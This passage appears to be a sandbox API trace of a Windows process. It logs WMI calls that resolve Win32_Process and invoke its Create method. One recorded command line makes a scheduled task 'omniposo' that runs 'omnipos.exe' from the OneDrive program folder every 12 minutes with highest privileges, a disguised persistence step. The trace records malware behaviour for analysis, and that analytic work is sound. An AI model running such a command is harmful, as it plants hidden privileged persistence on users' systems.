puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0141.064] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0141.064] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0141.064] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0141.064] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.066] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bce6100) returned 0x0 [0141.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6100, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0141.066] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6100, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bcd95e0) returned 0x0 [0141.066] WbemDefPath:IUnknown:Release (This=0x1bce6100) returned 0x0 [0141.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd95e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bcd95e0) returned 0x0 [0141.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd95e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0141.067] WbemDefPath:IUnknown:AddRef (This=0x1bcd95e0) returned 0x3 [0141.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd95e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0141.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd95e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0141.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd95e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bce6140) returned 0x0 [0141.067] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6140, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.067] WbemDefPath:IUnknown:Release (This=0x1bce6140) returned 0x3 [0141.067] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0141.067] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0141.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd95e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0141.067] WbemDefPath:IUnknown:Release (This=0x1bcd95e0) returned 0x2 [0141.067] WbemDefPath:IUnknown:Release (This=0x1bcd95e0) returned 0x1 [0141.067] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0141.067] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0141.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd95e0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bcd95e0) returned 0x0 [0141.068] WbemDefPath:IUnknown:AddRef (This=0x1bcd95e0) returned 0x3 [0141.068] WbemDefPath:IUnknown:Release (This=0x1bcd95e0) returned 0x2 [0141.068] WbemDefPath:IWbemPath:SetText (This=0x1bcd95e0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0141.068] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9220, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0141.068] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0141.068] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.068] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0141.068] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0141.068] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0141.068] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.070] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce6180) returned 0x0 [0141.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6180, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0141.070] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6180, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd96a0) returned 0x0 [0141.070] WbemDefPath:IUnknown:Release (This=0x1bce6180) returned 0x0 [0141.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd96a0) returned 0x0 [0141.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0141.070] WbemDefPath:IUnknown:AddRef (This=0x1bcd96a0) returned 0x3 [0141.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0141.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0141.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce61c0) returned 0x0 [0141.070] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce61c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.071] WbemDefPath:IUnknown:Release (This=0x1bce61c0) returned 0x3 [0141.071] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0141.071] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0141.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0141.071] WbemDefPath:IUnknown:Release (This=0x1bcd96a0) returned 0x2 [0141.071] WbemDefPath:IUnknown:Release (This=0x1bcd96a0) returned 0x1 [0141.071] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0141.071] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0141.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd96a0) returned 0x0 [0141.071] WbemDefPath:IUnknown:AddRef (This=0x1bcd96a0) returned 0x3 [0141.071] WbemDefPath:IUnknown:Release (This=0x1bcd96a0) returned 0x2 [0141.071] WbemDefPath:IWbemPath:SetText (This=0x1bcd96a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0141.071] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd95e0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0141.071] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd96a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0141.071] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd96a0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0141.071] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd96a0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0141.071] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bcd95e0) returned 0x0 [0141.071] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd96a0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0141.071] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd96a0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0141.071] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd96a0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0141.071] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd95e0, uIndex=0x0, pszName="root") returned 0x0 [0141.071] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd96a0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0141.071] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd96a0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0141.072] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd95e0, uIndex=0x1, pszName="cimv2") returned 0x0 [0141.072] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd96a0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0141.072] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd96a0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0141.072] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd95e0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0141.072] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd95e0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0141.072] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd95e0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0141.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9220, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0141.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0141.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9220, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0141.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0141.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd95e0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0141.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd95e0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0141.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd95e0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0141.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd95e0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0141.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd95e0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0141.074] IWbemServices:GetObject (in: This=0x1bce7bd0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1aa29d30, ppCallResult=0x0) returned 0x0 [0141.100] IWbemClassObject:GetMethod (in: This=0x1aa29d30, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1aa2a0a0, ppOutSignature=0x1bb7e690*=0x1aa2a410) returned 0x0 [0141.100] IWbemClassObject:SpawnInstance (in: This=0x1aa2a0a0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bcf3b20) returned 0x0 [0141.101] IWbemClassObject:Get (in: This=0x1bcf3b20, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d2670*=0, plFlavor=0x28d2674*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d2670*=8, plFlavor=0x28d2674*=32) returned 0x0 [0141.101] IWbemClassObject:Get (in: This=0x1bcf3b20, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d2670*=8, plFlavor=0x28d2674*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d2670*=8, plFlavor=0x28d2674*=32) returned 0x0 [0141.101] IWbemClassObject:Put (This=0x1bcf3b20, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0141.101] IWbemClassObject:Get (in: This=0x1bcf3b20, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d2700*=0, plFlavor=0x28d2704*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d2700*=13, plFlavor=0x28d2704*=32) returned 0x0 [0141.101] IWbemClassObject:Get (in: This=0x1bcf3b20, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d2700*=13, plFlavor=0x28d2704*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d2700*=13, plFlavor=0x28d2704*=32) returned 0x0 [0141.101] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1aa29650) returned 0x0 [0141.101] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0141.102] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0141.102] IUnknown:AddRef (This=0x1aa29650) returned 0x3 [0141.102] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0141.102] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0141.102] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1aa29658) returned 0x0 [0141.102] IMarshal:GetUnmarshalClass (in: This=0x1aa29658, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0141.102] IUnknown:Release (This=0x1aa29658) returned 0x3 [0141.102] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0141.102] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0141.102] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0141.102] IUnknown:Release (This=0x1aa29650) returned 0x2 [0141.103] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0141.103] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0141.103] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0141.103] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0141.103] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0141.103] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0141.103] IUnknown:AddRef (This=0x1aa29650) returned 0x3 [0141.103] IWbemClassObject:Put (This=0x1bcf3b20, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aa29650, varVal2=0x0), Type=0) returned 0x0 [0141.103] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd92e0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0141.103] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd92e0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0141.103] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd92e0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: 